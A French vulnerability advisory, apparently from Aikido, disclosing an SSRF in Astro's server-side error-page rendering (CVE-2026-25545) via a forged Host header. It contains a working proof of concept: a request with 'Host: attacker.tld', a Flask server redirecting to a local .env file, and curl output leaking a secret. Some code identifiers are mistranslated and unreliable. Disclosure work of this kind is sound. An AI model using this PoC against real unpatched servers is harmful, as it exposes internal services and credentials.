Astro est un framework JavaScript frontend et backend utilisé par de nombreuses grandes organisations pour faciliter le développement de sites web. Récemment, l'un des agents de notre produit Aikido a identifié une vulnérabilité de gravité moyenne dans l'implémentation côté serveur de ce framework. Elle rendait tous les serveurs directement accessibles par l'attaquant vulnérables à la falsification de requêtes côté serveur (SSRF).
Maintenant connu sous le nom de CVE-2026-25545, nous avons rapidement informé les responsables de la maintenance d'Astro afin d'obtenir une correction en seulement quelques jours. Versions astro@5.17.2, @astrojs/node@9.5.3 ainsi que la version bêta astro@6.0.0-beta.11 sont corrigés.
Résumé
Erreurs de rendu côté serveur (SSR) avec une page d'erreur personnalisée pré-rendue (par exemple, 404.astro ou 500.astro) sont vulnérables à SSRF. Si le Hôte : l'en-tête est remplacé par celui du serveur de l'attaquant, /500.html sera récupérée depuis leur serveur et pourra être redirigée vers n'importe quelle autre URL interne. Cette redirection est suivie et la réponse est renvoyée à l'attaquant.
Tous les services sur localhost ou sur le réseau interne protégés par des pare-feu et NAT peuvent devenir accessibles de cette manière, ce qui peut avoir des conséquences désastreuses selon ce qui est hébergé.
Détails
pentest IA a découvert ce problème au cours de nos recherches. Nous allons donc expliquer son raisonnement tout en passant en revue les détails de cette vulnérabilité.
Astro peut afficher les pages selon deux modes : « statique » et « serveur ». Les sites web simples peuvent ne pas nécessiter de serveur et être exportés sous forme de fichiers HTML statiques, tandis que d'autres requièrent une logique côté serveur. Vous pouvez décider de ce qui est nécessaire pour chaque page.
Pour la page d'accueil, vous pouvez pré-rendre un fichier HTML qui restera toujours identique et ne changera que lorsque vous le reconstruirez. Pour effectuer un rendu à la demande, comme pour un compteur de vues, le rendu côté serveur (SSR) est nécessaire.
Pour utiliser SSR, vous devez définir l'option de configuration de sortie sur « serveur » dans astro.config.mjs :
export default defineConfig({
output: 'server'
})
Les pages d'erreur dans Astro constituent un exemple intéressant. N'importe quel itinéraire peut renvoyer des erreurs telles que 404 Not Found ou 500 Internal Server Error, qui s'affichent correctement avec les pages d'erreur par défaut.
En tant que développeur, vous pouvez créer un page d'erreur personnalisée avec 404.astro ou 500.astro. Pour plus d'efficacité, ceux-ci sont pré-rendus sous forme de fichiers HTML lorsque cela est possible. Il est intéressant de noter qu'un serveur doit désormais renvoyer une réponse pré-rendue.
Cela est mis en œuvre d'une manière un peu étrange : le serveur récupère /404.html ou /500.html à partir de lui-même et renvoie ce résultat. Vous pouvez lire ceci dans renderError():
1async #renderError(...): Promise<Response> {
2 const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3 const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4 const url = new URL(request.url);
5 if (errorRouteData) {
6 if (errorRouteData.prerender) {
7 const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8 const statusURL = new URL(
9 `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10 url, // base
11 );
12 if (statusURL.toString() !== request.url) {
13 const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14 const override = { status, removeContentEncodingHeaders: true };
15 return this.#mergeResponses(response, originalResponse, override);
16 }
17 }
18 ...
19}
20La ligne la plus importante est prerenderedErrorPageFetch(URL_STATUT), qui s'exécute lorsqu'un itinéraire d'erreur personnalisé existe et que la page d'erreur est pré-rendu (ligne 13). Dans NodeJS, cela se traduit simplement par un alias pour récupérer() si options.erreurExperimentalePageHôte n'est pas défini.URL de statut est construit à partir de request.url (ligne 4). Cette propriété provient de req.headers.host, également connu sous le nom de Hôte : en-tête dans HTTP.
static createRequest(...) {
const providedHostname = req.headers.host ?? req.headers[':authority'];
const validated = App.validateForwardedHeaders(
getFirstForwardedValue(req.headers['x-forwarded-proto']),
getFirstForwardedValue(req.headers['x-forwarded-host']),
getFirstForwardedValue(req.headers['x-forwarded-port']),
allowedDomains,
);
const sanitizedProvidedHostname = App.sanitizeHost(
typeof providedHostname === 'string' ? providedHostname : undefined,
);
const hostname = validated.host ?? sanitizedProvidedHostname;
const hostnamePort = getHostnamePort(hostname, port);
url = new URL(`${protocol}://${hostnamePort}${req.url}`);
const request = new Request(url, options);
...
Le Hôte : L'en-tête est toujours contrôlé par l'utilisateur, car il s'agit simplement d'une chaîne arbitraire envoyée par le client. Comme vous pouvez le voir dans la logique ci-dessus, Astro utilise req.headers.host construire request.url, qui devient alors l'URL de base pour un récupérer() appel. Astro fait confiance à l'entrée pour pointer vers le serveur lui-même, sans la valider réellement. C'est Injection d'en-tête hôte, et c'est ce qui rend SSRF possible ici.
GET /not-found HTTP/1.1
Hôte: attaquant.tld
SSRF
Nous sommes venus ici pour Server-Side Request Forgery, mais nous n'en sommes pas loin à ce stade. La requête ci-dessus déclenche une erreur 404, et si une page 404 personnalisée est configurée, notre attaquant.tld L'en-tête hôte sera utilisé pour envoyer une requête à http://attacker.tld/404.html .
Cela nous permet déjà de récupérer cette URL spécifique sur n'importe quel hôte interne :
GET /404.html HTTP/1.1
hôte: attaquant.tld
connexion: keep-alive
accepter: */*
accept-language : *
sec-fetch-mode : cors
user-agent : node
accept-encoding : gzip, deflate
Il n'y a probablement pas beaucoup de contenu sensible sur /404.html d'un hôte arbitraire. Heureusement pour nous, récupérer() suit automatiquement les redirections. Un fait dont nous pouvons tirer parti, car nous sommes déjà en mesure de demander au serveur Astro d'accéder au site web de notre attaquant. Il nous suffit de rediriger de http://attacker.tld/404.html vers une URL sensible telle que http://127.0.0.1:8000/.env!
Nous allons configurer un serveur de base pour gérer cela :
from flask import Flask,redirect
app = Flask(__name__)
@app.route("/404.html")
def exploit(): return redirect("http://127.0.0.1:8000/.env")
if __name__ == "__main__":
app.run()
Ensuite, nous envoyons à nouveau notre requête malveillante :
$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
content-type: text/plainserver:SimpleHTTP/0.6Python/3.12.3
Connection: keep-alive
Keep-Alive:timeout=5
Transfer-Encoding: chunked
SECRET=...
Succès ! La page 404 a été récupérée auprès de l'attaquant, redirigée vers 127.0.0.1:8000, et sa réponse (en-têtes et corps) a été renvoyée. Grâce à cela, un pirate pouvait cartographier l'ensemble du réseau interne, interagir avec les services pour lire des informations potentiellement sensibles.
Exigences
Pour qu'un pirate puisse exploiter cette vulnérabilité, certaines conditions doivent être réunies :
- Le serveur doit être en mode de rendu côté serveur (sinon, il s'agit simplement de HTML statique).
- Le
Hôte :L'en-tête doit être non sanitisé. Certains proxys valident cet en-tête, il peut donc être nécessaire de trouver le - adresse IP d'origine du serveur Astro afin de s'y connecter directement.
- Dans le code source, le développeur doit avoir configuré un
404.astro,404.md, ou500.astrofichier. C'est courant pour les applications plus volumineuses.
Comme indiqué, l'utilisation d'une erreur 404 en visitant un chemin non routé est la voie d'exploitation la plus probable. Mais si une page d'erreur interne personnalisée est configurée, le déclenchement d'une erreur avec un en-tête Host: falsifié peut également déclencher la vulnérabilité de la même manière.
Correction
Après avoir constaté la vulnérabilité signalée par notre agent IA, nous l'avons rapidement signalée aux responsables de la maintenance d'Astro, qui ont mis au point un correctif en seulement quelques jours.
Les versions corrigées commencent à partir de :
astro@5.17.2astro@6.0.0-beta.11@astrojs/node@9.5.3
Leur solution était de repenser le prerenderedErrorPageFetch() fonction, qui était auparavant un wrapper pour fetch(). Maintenant /404 ou /500 Les fichiers sont lus directement à partir du disque, et tout autre élément n'est récupéré que si options.erreurExperimentalePageHôte est explicitement défini, indiquant où aller le chercher. L'en-tête Host: est désormais également validé, de la même manière que Hôte transféré X : était déjà, pour empêcher un attaquant de perturber request.url dans Astro.
Cette vulnérabilité revient à faire confiance aux données saisies par l'utilisateur dans le Hôte : en-tête, ce que vous ne devriez jamais faire. Des fonctionnalités magiques telles que la redirection par défaut depuis
récupérer() peut également entraîner des conséquences inattendues. Il est bon de savoir exactement ce que font les fonctions que vous appelez en lisant leur documentation.
L'exploitation de cette vulnérabilité s'avère finalement assez simple et facile à tester. Il suffit de demander une page inexistante avec une requête malformée. Hôte : en-tête. De telles attaques peuvent même être détectées sans code source en jouant avec l'application, ce qui
Le test d'intrusion AIAikido peut le faire. Cependant, il dispose également de solides capacités d'analyse de code (boîte blanche), comme le montre ce rapport.
Chronologie
- 2 février 2026 : Aikido a identifié la vulnérabilité et a mis au point un PoC fonctionnel.
- 3 février 2026: divulgation responsable aux responsables de la maintenance d'Astro
- 3 février 2026 : rapport confirmé par les responsables d'Astro et début des travaux pour trouver une solution.
- 4 février 2026: CVE-2026-25545 est créé par GitHub.
- 11 février 2026: Le correctif est disponible dans les nouvelles versions d'Astro (
astro@5.17.2,astro@6.0.0-beta.11, et@astrojs/node@9.5.3)

